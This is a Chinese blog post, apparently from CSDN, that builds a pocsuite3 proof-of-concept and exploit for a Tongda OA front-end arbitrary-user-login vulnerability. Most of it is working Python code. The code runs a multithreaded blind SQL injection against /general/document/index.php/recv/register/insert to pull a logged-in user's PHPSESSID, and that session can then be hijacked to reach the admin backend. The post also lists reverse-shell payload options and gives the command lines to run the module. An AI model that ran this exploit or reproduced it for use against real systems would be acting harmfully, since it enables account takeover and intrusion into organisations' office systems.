十 pocsuite3 编写通达OA前台任意用户登录漏洞poc、exp

最新推荐文章于 2024-06-26 17:24:11 发布
最新推荐文章于 2024-06-26 17:24:11 发布
阅读量3k 收藏 7
点赞数 3
分类专栏： # python # 安全工具使用
https://blog.csdn.net/qq_44657899
本文链接：https://blog.csdn.net/qq_44657899/article/details/115804216
版权

文章目录

这里练手写了个最近实战复现成功的洞的poc、exp

通达OA前台任意用户登录漏洞，具体过程可以看下面文章的通达OA前台任意用户登录部分

html sql注入_通达OA前台任意用户登录，文件上传和文件包含，SQL注入复现

整个步骤为

  • /general/document/index.php/recv/register/insert路径存在SQL注入
  • SQL注入获取PHPSESSID
  • 使用获得的PHPSESSID修改cookie进入后台

0x01 poc编写

首先是验证verify部分，通过判断网址加/general/document/index.php/recv/register/insert路径返回码是否为500来判断，但是这样依旧会误报，因为有的网站访问所有路径都是500，应该加上判断文件内容才准确

    def _verify(self):
        result = {}
        path = "/general/document/index.php/recv/register/insert"
        url = self.url + path
        payload = "/general/document/index.php/recv/register/insert"
        resq = requests.get(url, timeout=30)
        if resq.status_code == 500 and "http" in url:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

因为页面报错是这样的，所以加个页面内容判断即可
在这里插入图片描述

最后改成这样

    def _verify(self):
        result = {}
        path = "/general/document/index.php/recv/register/insert"
        url = self.url + path
        payload = "/general/document/index.php/recv/register/insert"
        resq = requests.get(url, timeout=30)
        if resq.status_code == 500 and "An Error Was Encountered" in resq.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

这样verify部分就完成了
在这里插入图片描述

0x02 exp编写

exp部分用的是别人写的exp脚本改的，原本的exp脚本为，最下面输入网址和第几个用户即可

import requests
import _thread
import time
requests.packages.urllib3.disable_warnings()
UNAME_length = 26
USERUID = []
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
    "Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}
def get_url(url, num, uid):
    global UNAME_length
    global USERUID
    litgh = 48
    right = 120
    tmp = 0
    while litgh <= right:
        mid = int((litgh + right) / 2)
        if tmp == mid:
            break
        else:
            tmp = mid
        flag = run_payload(url, uid, num, mid)
        if flag:
            litgh = mid
        else:
            right = mid
    USERUID[num - 1] = chr(mid)
    print("session: ", num, chr(mid))


def run_payload(url, uid, num, mid):
    try:
        payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
        req = requests.post(url, headers=header, data=payload, verify=False, timeout=20,
                            allow_redirects=False)
        if req.status_code == 302:
            return True
        elif req.status_code == 500:
            return False
        elif req.status_code != 500:
            return run_payload(url, uid, num, mid)
    except Exception as e:
        return run_payload(url, uid, num, mid)

def get_uname(url, uid):
    USERUID.clear()
    [USERUID.append("") for one in range(0, UNAME_length)]
    for num in range(1, UNAME_length + 1):
        _thread.start_new_thread(get_url, (url, num, uid,))  # 多线程
    tmp = 0
    while 1:  # 等待跑完26位session id
        flag = 0
        for num in range(0, len(USERUID)):
            if USERUID[num] != '':
                flag += 1
        uname = ""
        for num in range(0, len(USERUID)):
            uname += str(USERUID[num])
        if flag != tmp:
            print(f"已完成: {flag}/{UNAME_length}  SID:{uname}  {USERUID} ")
        tmp = flag
        if flag == UNAME_length:
            break
    time.sleep(0.5)
    return uname


def main(url):
    url += "/general/document/index.php/recv/register/insert"
    print(url)
    uid = 1  # 获取第几个用户的session
    uname = get_uname(url, uid - 1)
    print("UNAME = ", uname)


url = "http://test.com"
main(url)

我把它改为了一个class类名字为get_cookie，只需要payload = get_cookie(url).cookies()即可调用该exp并返回获得的cookie，如下所示

class get_cookie(object):
    url = ""
    requests.packages.urllib3.disable_warnings()
    UNAME_length = 26
    USERUID = []
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
        "Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}


    def __init__(self, url):
        self.url = url

    def get_url(self, url, num, uid):
        self.UNAME_length
        self.USERUID
        litgh = 48
        right = 120
        tmp = 0
        while litgh <= right:
            mid = int((litgh + right) / 2)
            if tmp == mid:
                break
            else:
                tmp = mid
            flag = self.run_payload(url, uid, num, mid)
            if flag:
                litgh = mid
            else:
                right = mid
        self.USERUID[num - 1] = chr(mid)
        # print("session: ", num, chr(mid))

    def run_payload(self, url, uid, num, mid):
        try:
            payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
            req = requests.post(url, headers=self.header, data=payload, verify=False, timeout=20,
                                allow_redirects=False)
            if req.status_code == 302:
                return True
            elif req.status_code == 500:
                return False
            elif req.status_code != 500:
                return self.run_payload(url, uid, num, mid)
        except Exception as e:
            return self.run_payload(url, uid, num, mid)

    def get_uname(self, url, uid):
        self.USERUID.clear()
        [self.USERUID.append("") for one in range(0, self.UNAME_length)]
        for num in range(1, self.UNAME_length + 1):
            _thread.start_new_thread(self.get_url, (url, num, uid,))  # 多线程
        tmp = 0
        while 1:  # 等待跑完26位session id
            flag = 0
            for num in range(0, len(self.USERUID)):
                if self.USERUID[num] != '':
                    flag += 1
            uname = ""
            for num in range(0, len(self.USERUID)):
                uname += str(self.USERUID[num])
            if flag != tmp:
                # print(f"已完成: {flag}/{self.UNAME_length}  SID:{uname}  {self.USERUID} ")
                print("[+] "+uname)
            tmp = flag
            if flag == self.UNAME_length:
                break
        time.sleep(0.5)
        return uname

    def cookies(self):
        path = "/general/document/index.php/recv/register/insert"
        self.url += path
        uid = 1  # 获取第几个用户的session
        uname = self.get_uname(self.url, uid - 1)
        return uname

那么attack部分就非常简单了

    def _attack(self):
        result = {}
        url = self.url
        payload = get_cookie(url).cookies()
        if len(payload) == 26:
        	result['VerifyInfo'] = {}
            # result['VerifyInfo']['URL'] = url
            # result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

直接调用就可以获得cookie
在这里插入图片描述

0x03 整合及使用

放在该路径即可
在这里插入图片描述
然后就可以调用了

python .\cli.py -u http://test.com -r .\pocs\tdoa_front_sql.py --verify
python .\cli.py -u http://test.com -r .\pocs\tdoa_front_sql.py --attack

代码部分

from collections import OrderedDict
from urllib.parse import urljoin
import _thread
import time
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['1.1']
    name = '通达OA'
    appPowerLink = '通达OA'
    appName = '通达OA'
    appVersion = '通达OA'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        通达oa前台存在SQL注入可获取用户session，伪造session登录进入后台
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE
    
    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        result = {}
        path = "/general/document/index.php/recv/register/insert"
        url = self.url + path
        payload = "/general/document/index.php/recv/register/insert"
        resq = requests.get(url, timeout=30)
        if resq.status_code == 500 and "http" in url:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

    def _attack(self):
        result = {}
        url = self.url
        payload = get_cookie(url).cookies()
        if len(payload) == 26:
        	result['VerifyInfo'] = {}
            # result['VerifyInfo']['URL'] = url
            # result['VerifyInfo']['payload'] = payload
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


class get_cookie(object):
    url = ""
    requests.packages.urllib3.disable_warnings()
    UNAME_length = 26
    USERUID = []
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36',
        "Content-Type": "application/x-www-form-urlencoded", 'Connection': 'close'}


    def __init__(self, url):
        self.url = url

    def get_url(self, url, num, uid):
        self.UNAME_length
        self.USERUID
        litgh = 48
        right = 120
        tmp = 0
        while litgh <= right:
            mid = int((litgh + right) / 2)
            if tmp == mid:
                break
            else:
                tmp = mid
            flag = self.run_payload(url, uid, num, mid)
            if flag:
                litgh = mid
            else:
                right = mid
        self.USERUID[num - 1] = chr(mid)
        # print("session: ", num, chr(mid))

    def run_payload(self, url, uid, num, mid):
        try:
            payload = f"""title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/{uid},1),{num},1))>%3d{mid},1,710)))# =1&_SERVER="""
            req = requests.post(url, headers=self.header, data=payload, verify=False, timeout=20,
                                allow_redirects=False)
            if req.status_code == 302:
                return True
            elif req.status_code == 500:
                return False
            elif req.status_code != 500:
                return self.run_payload(url, uid, num, mid)
        except Exception as e:
            return self.run_payload(url, uid, num, mid)

    def get_uname(self, url, uid):
        self.USERUID.clear()
        [self.USERUID.append("") for one in range(0, self.UNAME_length)]
        for num in range(1, self.UNAME_length + 1):
            _thread.start_new_thread(self.get_url, (url, num, uid,))  # 多线程
        tmp = 0
        while 1:  # 等待跑完26位session id
            flag = 0
            for num in range(0, len(self.USERUID)):
                if self.USERUID[num] != '':
                    flag += 1
            uname = ""
            for num in range(0, len(self.USERUID)):
                uname += str(self.USERUID[num])
            if flag != tmp:
                # print(f"已完成: {flag}/{self.UNAME_length}  SID:{uname}  {self.USERUID} ")
                print("[+] "+uname)
            tmp = flag
            if flag == self.UNAME_length:
                break
        time.sleep(0.5)
        return uname

    def cookies(self):
        path = "/general/document/index.php/recv/register/insert"
        self.url += path
        uid = 1  # 获取第几个用户的session
        uname = self.get_uname(self.url, uid - 1)
        return uname


register_poc(DemoPOC)
天问_Herbert555
关注
  • 3
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
【漏洞复现-通达OA】通达OA前台任意用户登录漏洞
xiaokp7的博客
06-18 2396
通达OA（Office Anywhere网络智能办公系统）是中国通达公司的一套协同办公自动化软件。通达OA < 11.5.200417存在一个认证绕过漏洞，利用该漏洞可以实现任意用户登录。攻击者可以通过构造恶意攻击代码，成功登录系统管理员账户，继而在系统后台上传恶意文件控制网站服务器。
通达OA——前台任意用户伪造登录
xunhuanmao的博客
10-08 4243
通达OA是一套使用比较广泛的办公系统，文中所涉及到的利用方式仅供学习使用，切勿用于违法行为。
漏洞实例_通达OA远程命令执行漏洞分析_零基础黑客入门教程
最新发布
程序员六七的博客
06-26 1007
一、漏洞简介通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。
漏洞概念_通达OA前台任意用户登录漏洞_详细漏洞知识点
程序员六七的博客
06-26 462
本文由东塔网络安全学院学员---张同学 投稿。1 漏洞描述通达OA是一套使用比较广泛的办公系统。该漏洞因为使用uid作为身份标识，攻击者通过构造恶意请求
通达OA前台任意用户登录漏洞复现
weixin_60508121的博客
11-07 2083
isIE=0&modify_pwd=0，抓包，替换cookie中的PHPSESSID参数，放包，成功登录。通达OA是一套国内常用的办公系统，此次安全更新修复的高危漏洞为任意用户登录漏洞。1、下载https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe，安装，访问，如下，安装成功。2、下载poc，https://github.com/NS-Sp4ce/TongDaOA-Fake-User。通达OA 2017版本。
通达OA_header_inc任意用户登录
Bnessy
10-29 249
【代码】通达OA_header_inc任意用户登录。
通达OA前台任意用户登录漏洞.md
09-07
通达OA漏洞合集
通达 OA 任意用户登录.md
04-12
通达 OA 任意用户登录
通达OA v2017 video_file.php 任意文件下载漏洞.md
09-07
通达OA漏洞合集
通达OA v2017 action_upload.php 任意文件上传漏洞.md
09-07
通达OA漏洞合集
通达OA前台RCE加EXP任意文件上传+文件包含.py
03-18
通达OA前台RCE加EXP任意文件上传+文件包含 ...通达OA前台RCE加EXP任意文件上传+文件包含通达OA前台RCE加EXP任意文件上传+文件包含通达OA前台RCE加EXP任意文件上传+文件包含 通达OA前台RCE加EXP任意文件上传+文件包含
Pocsuite-poc-exp:分享一些自己写的pocexp
05-17
Pocsuite-poc-exp 分享一些自己写的poc/exp
通达OA前台伪造管理登陆cookie生成tongda.py
05-07
通达OA 前台伪造管理员登陆漏洞的cookie生成脚本，可以用以生成PHPsessionid,然后替换cookie，从而登陆通达OA后台。
POC编写指南
03-27
转载自Medici.Yan，以真实案例为背景，针对当下主流的漏洞来分析漏洞，并且一步一步编写对应的 PoC。
通达OA11.7任意用户登录
qq_51950323的博客
05-08 566
通达OA11.7任意用户登录，需要admin用户在线，即可利用该漏洞。
CVE-2017-12615漏洞复现和pocsuite编写poc，exp
willow_liang的博客
10-13 1387
CVE-2017-12615漏洞复现复现 环境搭建地址：https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615 Tomcat版本：8.5.19 漏洞原理： tomcat的配置具有可写权限，因此可以利用put方法上传任意文件。但是tomcat对上传的文件尾部有检测，所以可以用/来绕过，如 /shell.jsp/ 源码内容: <servlet> <servlet-name>default</ser
UEditor上传导致 XSS漏洞自动化实现POC_基于POCsuite3
afei001
07-16 651
UEditor上传导致 XSS漏洞自动化实现POC_基于POCsuite3
利用pocsuite3复现CVE-2021-22005
Jietewang的博客
10-20 3555
目录 0x01 漏洞简介 0x02 影响范围 0x03 复现过程 0x01 漏洞简介 2021年9月21日，VMware发布安全公告，公开披露了vCenter Server中的19个安全漏洞，这些漏洞的CVSSv3评分范围为4.3-9.8。 其中，最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-2021-22005)，该漏洞存在于vCenter Server的分析服务中，其CVSSv3评分为 9.8。能够网络访问vCenter Server 上的 443 端口的攻
Pocsuite3源码的分析(一)
qq_40997679的博客
10-06 1281
位于cli.py中第53行，init()此函数主要作用是pocsuite运行的一系列初始化工作，定义在lib\core\option.py模块中，其中定义了控制台日志的详细程度、清理配置、基础信息的验证、创建一些目录、创建Poc模版、加载Poc、判断是否使用一些插件、一些数据包的参数用户是否自定义。其中_set_conf_attributes()是初始化conf这个重要的变量 conf初始化了70个键值对。位于cli.py中第50行，init_options(cmd_line_parser().
通达oa任意用户登录
09-05
通达OA是一款常见的办公自动化软件，它提供了多种功能以方便用户进行办公工作。对于通达OA的任意用户登录，我可以提供以下回答。 通达OA允许任意用户登录，这意味着所有拥有有效账号和密码的用户都可以登录系统并访问其功能。用户可以通过在登录界面输入正确的用户名和密码，然后点击登录按钮来完成登录操作。系统将对用户的输入进行验证，如果验证通过，用户将成功登录系统。 通达OA的用户登录是安全可靠的。系统会对用户的密码进行加密处理，确保用户的密码不会被泄露。此外，通达OA还提供了多种登录策略，例如登录失败锁定、设置密码复杂度要求和定期更新密码等，以增加系统的安全性。用户可以根据需要选择适合自己的登录策略。 一旦用户成功登录通达OA，他们就可以根据自己的权限进行各种操作。通达OA提供了丰富的功能模块，包括请假申请、加班申请、文档管理、日程安排、内部邮件等，用户可以根据需要选择并使用这些功能模块来提高工作效率。 总之，通达OA允许任意用户登录，用户只需提供正确的账号和密码即可登录系统，并根据自己的权限使用各种功能模块。它是一款安全可靠的办公自动化软件，有助于提高办公效率和工作质量。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值